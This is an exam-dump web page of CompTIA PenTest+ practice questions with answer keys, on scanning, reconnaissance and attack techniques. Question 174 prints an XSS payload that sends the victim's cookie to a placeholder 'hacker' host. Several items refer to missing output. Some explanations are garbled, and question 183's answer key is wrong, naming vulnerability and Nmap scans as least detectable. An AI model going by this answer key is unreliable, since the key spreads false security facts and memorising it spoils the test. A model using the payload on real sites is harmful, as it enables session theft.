Free Mar-2024 PT0-002 Certification Sample Questions certification Exam
Certification Topics of PT0-002 Exam PDF Recently Updated Questions
CompTIA PT0-002 or the CompTIA PenTest+ Certification exam is a valuable credential for cybersecurity professionals who want to expand their skill set and demonstrate their expertise in penetration testing and ethical hacking. PT0-002 exam covers a wide range of topics and requires candidates to have both theoretical knowledge and practical experience. CompTIA PenTest+ Certification certification is globally recognized and can help professionals advance their careers in the cybersecurity industry.
NEW QUESTION # 167
An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?
- A. OpenVAS
- B. Drozer
- C. Burp Suite
- D. OWASP ZAP
Answer: A
NEW QUESTION # 168
The following output is from reconnaissance on a public-facing banking website:
Based on these results, which of the following attacks is MOST likely to succeed?
- A. An attack that breaks RC4 encryption
- B. A Heartbleed attack
- C. An attack on a session ticket extension (Ticketbleed)
- D. A birthday attack on 64-bit ciphers (Sweet32)
Answer: A
NEW QUESTION # 169
The following PowerShell snippet was extracted from a log of an attacker machine:
A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?
- A. Line 19
- B. Line 20
- C. Line 8
- D. Line 13
Answer: C
Explanation:
Explanation
$X=2,4,6,8,9,20,5
$y=[System.Collections.ArrayList]$X
$y.RemoveRange(1,2) As you can see the arrat has no brackets and no periods. IT HAS SEMICOLLINS TO SEPERATE THE LISTED ITEMS OR VALUES.
NEW QUESTION # 170
An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?
- A. nmap - A 192.168.0.1
- B. nmap -"T3 192.168.0.1
- C. nmap - T0 192.168.0.1
- D. nmap - "P0 192.168.0.1
Answer: C
NEW QUESTION # 171
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- A. nmap192.168.1.1-5-PA22-25,80
- B. nmap192.168.1.1-5-Ss22-25,80
- C. nmap192.168.1.1-5-PU22-25,80
- D. nmap192.168.1.1-5-PS22-25,80
Answer: D
Explanation:
Explanation
PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.
The nmap -PS22-25,80 192.168.1.1-5 command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a RST packet, it means the port is closed and not accepting connections. If there is no response, it means the port is filtered by a firewall or IDS1.
NEW QUESTION # 172
During enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would best support ------------company systems?
- A. Aside-channel attack
- B. A command injection attack
- C. A watering-hole attack
- D. A cross-site scripting attack
Answer: C
Explanation:
Explanation
The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users' devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them2. The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.
NEW QUESTION # 173
Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?
- A. chmod u+x script.sh
- B. chmod o+x script.sh
- C. chmod o+e script.sh
- D. chmod u+e script.sh
Answer: A
NEW QUESTION # 174
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Base64 encoding
- B. Parameterized queries
- C. Session tokens
- D. Web-application firewall
- E. Output encoding
- F. Input validation
Answer: E,F
Explanation:
Explanation
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
NEW QUESTION # 175
Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
- A. Collect the proper evidence and then remove the malware.
- B. Analyze the malware to see what it does.
- C. Stop the assessment and inform the emergency contact.
- D. Remove the malware immediately.
- E. Do a root-cause analysis to find out how the malware got in.
Answer: C
Explanation:
Explanation
Stopping the assessment and informing the emergency contact is the best thing to do next after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The emergency contact is the person designated by the client who should be notified in case of any critical issues or incidents during the penetration testing engagement.
NEW QUESTION # 176
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
- A. protocols are more difficult to understand.
- B. devices produce more heat and consume more power.
- C. devices may cause physical world effects.
- D. devices are obsolete and are no longer available for replacement.
Answer: C
Explanation:
"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.
NEW QUESTION # 177
After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:
Which of the following actions should the tester perform FIRST?
- A. Start a reverse shell.
- B. Use privilege escalation.
- C. Cover tracks.
- D. Change the file permissions.
Answer: B
Explanation:
Explanation
The file .scripts/daily_log_backup.sh has permissions set to 777, meaning that anyone can read, write, or execute the file. Since it's owned by the root user and the penetration tester has access to the system with a non-privileged account, this could be a potential avenue for privilege escalation. In a penetration test, after finding such a file, the tester would likely want to explore it and see if it can be leveraged to gain higher privileges. This is often done by inserting malicious code or commands into the script if it's being executed with higher privileges, such as root in this case.
NEW QUESTION # 178
A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?
- A. intitle:
- B. inurl:
- C. site:
- D. link:
Answer: C
Explanation:
Explanation
The site: command can be used to restrict searches on Google to a specific domain. For example, site:company.com will return only results from the company.com domain. This can help the penetration tester to find information or pages related to the target domain.
NEW QUESTION # 179
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
Have a full TCP connection
Send a "hello" payload
Walt for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
- A. Employ an OpenVAS simple scan against the TCP port of the host.
- B. Run nmap -Pn -sV -script vuln <IP address>.
- C. Perform a credentialed scan with Nessus.
- D. Create a script in the Lua language and use it with NSE.
Answer: D
Explanation:
The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. https://nmap.org
NEW QUESTION # 180
A penetration tester performs the following command:
curl -I -http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?
- A. Option B
- B. Option D
- C. Option A
- D. Option C
Answer: C
NEW QUESTION # 181
During the reconnaissance phase, a penetration tester obtains the following output:
Reply from 192.168.1.23: bytes=32 time<54ms TTL=128
Reply from 192.168.1.23: bytes=32 time<53ms TTL=128
Reply from 192.168.1.23: bytes=32 time<60ms TTL=128
Reply from 192.168.1.23: bytes=32 time<51ms TTL=128
Which of the following operating systems is MOST likely installed on the host?
- A. NetBSD
- B. Windows
- C. Linux
- D. macOS
Answer: B
NEW QUESTION # 182
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)
- A. Open-source research
- B. A ping sweep
- C. Port knocking
- D. A vulnerability scan
- E. Traffic sniffing
- F. An Nmap scan
Answer: D,F
NEW QUESTION # 183
......
2024 New Preparation Guide of CompTIA PT0-002 Exam: https://www.vce4plus.com/CompTIA/PT0-002-valid-vce-dumps.html
PT0-002 Exam Prep Guide: Prep guide for the PT0-002 Exam: https://drive.google.com/open?id=1m7fe-zcHQX_MC4A7MfS-rWE-Qdv-Wh84